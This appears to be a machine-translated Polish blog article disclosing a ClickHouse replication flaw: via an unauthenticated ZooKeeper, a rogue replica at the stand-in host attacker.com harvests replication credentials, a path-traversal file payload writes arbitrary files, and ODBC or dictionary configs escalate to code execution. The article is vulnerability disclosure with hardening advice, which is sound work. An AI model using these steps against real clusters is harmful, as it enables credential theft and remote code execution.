Dlaczego klatki w zoo muszą być zamknięte?

Dlaczego klatki w zoo muszą być zamknięte?

W tym artykule opowiemy historię bardzo specyficznej luki w protokole replikacji ClickHouse, a także pokażemy, w jaki sposób można rozszerzyć powierzchnię ataku.

ClickHouse to baza danych przeznaczona do przechowywania dużych wolumenów danych, najczęściej przy wykorzystaniu więcej niż jednej repliki. Klastrowanie i replikacja w ClickHouse są zbudowane na najwyższym poziomie Apache ZooKeeper (ZK) i wymagają praw zapisu.

Domyślna instalacja ZK nie wymaga uwierzytelniania, dlatego tysiące serwerów ZK używanych do konfiguracji Kafki, Hadoopa, ClickHouse jest ogólnodostępnych.

Aby zmniejszyć powierzchnię ataku, podczas instalacji ZooKeepera należy zawsze skonfigurować uwierzytelnianie i autoryzację

Istnieją oczywiście deserializacja Java oparta na dniu 0-day, ale wyobraź sobie, że osoba atakująca może czytać i zapisywać w ZooKeeperze, używanym do replikacji ClickHouse.

Po skonfigurowaniu w trybie klastra ClickHouse obsługuje zapytania rozproszone DDL, przechodząc przez ZK - dla nich tworzone są węzły w arkuszu /clickhouse/task_queue/ddl.

Na przykład tworzysz węzeł /clickhouse/task_queue/ddl/query-0001 z treścią:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

a następnie tabela testowa zostanie usunięta z serwerów klastra host1 i host2. DDL obsługuje także uruchamianie zapytań CREATE/ALTER/DROP.

Brzmi przerażająco? Ale skąd osoba atakująca może uzyskać adresy serwerów?

Replikacja ClickHouse działa na poziomie poszczególnych tabel, dzięki czemu podczas tworzenia tabeli w ZK wskazany jest serwer, który będzie odpowiedzialny za wymianę metadanych z replikami. Przykładowo podczas realizacji żądania (należy skonfigurować ZK, chXX - nazwa repliki, foobar - Nazwa tabeli):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

zostaną utworzone węzły kolumny и metadanych.

Treść /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Czy można scalić dane z tego klastra? Tak, jeśli port replikacji (TCP/9009) na serwerze chXX-address zapora sieciowa nie zostanie zamknięta, a uwierzytelnianie na potrzeby replikacji nie zostanie skonfigurowane. Jak ominąć uwierzytelnianie?

Osoba atakująca może utworzyć nową replikę w ZK, po prostu kopiując zawartość /clickhouse/tables/01-01/foobar/replicas/chXX i zmiana znaczenia host.

Treść /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Następnie musisz poinformować pozostałe repliki, że na serwerze atakującego znajduje się nowy blok danych, który muszą pobrać - w ZK tworzony jest węzeł /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX licznik rosnący monotonicznie, który powinien być większy od ostatniego w dzienniku zdarzeń):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

gdzie replika_źródłowa — nazwę repliki atakującego utworzonej w poprzednim kroku, identyfikator_bloku — identyfikator bloku danych, otrzymać - polecenie „pobierz blok” (i tutaj znajdują się polecenia dla innych operacji).

Następnie każda replika wczytuje nowe zdarzenie w logu i trafia na serwer kontrolowany przez atakującego, aby odebrać blok danych (protokół replikacji jest binarny, działa na bazie protokołu HTTP). serwer attacker.com otrzyma prośby:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

gdzie XXX to dane uwierzytelniające dla replikacji. W niektórych przypadkach może to być konto z dostępem do bazy danych poprzez główny protokół ClickHouse oraz protokół HTTP. Jak widać, powierzchnia ataku staje się krytycznie duża, ponieważ ZooKeeper używany do replikacji pozostał bez skonfigurowanego uwierzytelniania.

Przyjrzyjmy się funkcji pobierania bloku danych z repliki, jest napisana z całkowitą pewnością, że wszystkie repliki są pod należytą kontrolą i istnieje między nimi zaufanie.

Dlaczego klatki w zoo muszą być zamknięte?
kod przetwarzania replikacji

Funkcja odczytuje listę plików, następnie ich nazwy, rozmiary, zawartość, a następnie zapisuje je do systemu plików. Warto osobno opisać sposób przechowywania danych w systemie plików.

W pliku znajduje się kilka podkatalogów /var/lib/clickhouse (domyślny katalog przechowywania z pliku konfiguracyjnego):

Flagi - katalog do nagrywania flagi, używany do odzyskiwania po utracie danych;
tmp — katalog do przechowywania plików tymczasowych;
pliki_użytkownika — operacje na plikach w żądaniach są ograniczone do tego katalogu (INTO OUTFILE i inne);
metadanych — pliki sql z opisami tabel;
preprocessed_configs - przetworzone pochodne pliki konfiguracyjne z /etc/clickhouse-server;
dane - rzeczywisty katalog z samymi danymi, w tym przypadku dla każdej bazy danych po prostu tworzony jest tutaj osobny podkatalog (np /var/lib/clickhouse/data/default).

Dla każdej tabeli tworzony jest podkatalog w katalogu bazy danych. Każda kolumna jest oddzielnym plikiem w zależności od formacie silnika. Na przykład na stół foobarutworzone przez atakującego, zostaną utworzone następujące pliki:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika oczekuje, że podczas przetwarzania bloku danych otrzyma pliki o tych samych nazwach i w żaden sposób ich nie sprawdza.

Uważny czytelnik prawdopodobnie słyszał już o niebezpiecznym łączeniu nazwy_pliku w funkcji WriteBufferFromFile. Tak, umożliwia to atakującemu zapisanie dowolnej zawartości w dowolnym pliku na serwerze FS z uprawnieniami użytkownika clickhouse. Aby to zrobić replika kontrolowana przez atakującego musi zwrócić na żądanie następującą odpowiedź (dla ułatwienia dodano podziały wierszy):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

i po połączeniu ../../../../../../../../../tmp/pwned plik zostanie zapisany /tmp/pwned z treścią cześć od zookeepera.

Istnieje kilka opcji przekształcania możliwości zapisu plików w zdalne wykonanie kodu (RCE).

Słowniki zewnętrzne w RCE

W starszych wersjach katalog z ustawieniami ClickHouse był przechowywany z uprawnieniami użytkownika dom kliknięć domyślny. Pliki ustawień to pliki XML, które usługa odczytuje podczas uruchamiania, a następnie zapisuje w pamięci podręcznej /var/lib/clickhouse/preprocessed_configs. W przypadku wystąpienia zmian są one ponownie odczytywane. Jeśli masz dostęp do /etc/clickhouse-server atakujący może stworzyć własny słownik zewnętrzny typ pliku wykonywalnego, a następnie wykonaj dowolny kod. Obecne wersje ClickHouse domyślnie nie zapewniają uprawnień, ale w przypadku stopniowej aktualizacji serwera takie uprawnienia mogłyby pozostać. Jeżeli wspierasz klaster ClickHouse sprawdź uprawnienia do katalogu ustawień, musi on należeć do użytkownika root.

ODBC do RCE

Podczas instalowania pakietu tworzony jest użytkownik clickhouse, ale jego katalog domowy nie jest tworzony /nonexistent. Jednakże w przypadku korzystania ze słowników zewnętrznych lub z innych powodów administratorzy tworzą katalog /nonexistent i dać użytkownikowi clickhouse dostęp do zapisu do niego (SSZB! około. tłumacz).

ClickHouse obsługuje ODBC i może łączyć się z innymi bazami danych. W ODBC można określić ścieżkę do biblioteki sterowników bazy danych (.so). Starsze wersje ClickHouse umożliwiały wykonanie tej czynności bezpośrednio w procedurze obsługi żądań, ale teraz dodano bardziej rygorystyczną kontrolę parametrów połączenia odbc-bridge, więc nie jest już możliwe określenie ścieżki sterownika z żądania. Czy jednak atakujący może dokonać zapisu w katalogu domowym, korzystając z opisanej powyżej luki?

Utwórzmy plik ~/.odbc.ini z taką zawartością:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

następnie przy uruchomieniu SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteka zostanie załadowana test.so i otrzymałem RCE (dzięki błąd za napiwek).

Te i inne luki zostały naprawione w ClickHouse w wersji 19.14.3. Zadbaj o swój ClickHouse i ZooKeepers!

Źródło: www.habr.com

Dodaj komentarz